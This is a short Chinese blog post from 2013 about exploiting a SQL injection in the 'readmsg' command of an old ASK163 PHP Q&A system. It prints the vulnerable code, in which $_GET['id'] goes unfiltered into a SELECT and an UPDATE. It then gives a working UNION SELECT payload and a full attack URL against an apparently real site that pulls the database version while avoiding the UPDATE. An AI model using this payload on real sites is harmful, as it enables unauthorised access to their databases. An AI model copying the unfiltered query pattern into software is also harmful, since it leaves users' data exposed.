一次突破思路

Title:一次突破思路  2013-07-02 13:46

PHP代码如下

elseif($command=='readmsg') 

{ 

    $query=$dblink->query("select * from $tablepre"."message where id=$_GET[id]");//未过滤 

    $msg=$dblink->fetch_array($query); 

    $msg_id=$msg['id'];//得到信息的ID号 

    $msg_senduser=$msg['senduser'];//得到发送信息的用户名 

    $msg_title=$msg['title'];//得到信息的标题 

    $msg_content=$msg['content'];//得到信息的内容,为什么两次? 

    $msg_content=$msg['content']; 

    $msg_time=date("Y-n-d H:i:s",$msg['time']);//格式化发送信息的时间 

    if($msg_senduser==$ngoask_user)//对比发送信息的用户名跟当前登录用户名 

    { 

        $enable_receive=0; 

    } 

    else

    { 

        $enable_receive=1; 

        $dblink->query("update $tablepre"."message set readtag=1 where id=$_GET[id]"); 

    } 

}

  

这遇到的是一款很老的ASK163系统。

很奇葩的是,这登录以后,$ngoask_user的值竟然显示是null,所以if的时候,两个用户名不相等。

所以会执行两个SQL语句。

后面通过联合查询控制,$msg['senduser']的值为null.显示位第2位为senduser.

select * from $tablepre"."message where id=-14 Union select 1,null,2,3,4,5,6,7,version(),9,10

http://www.f100.com/ask/my.php?command=readmsg&id=-14+Union+select+1,null,3,4,5,6,7,version(),9,10

这样$msg_senduser==$ngoask_user,都为null,如果$ngoask_user的值为其他,那就select其他值,相等就OK。不会执行update语句。

你可能感兴趣的:(一次突破思路)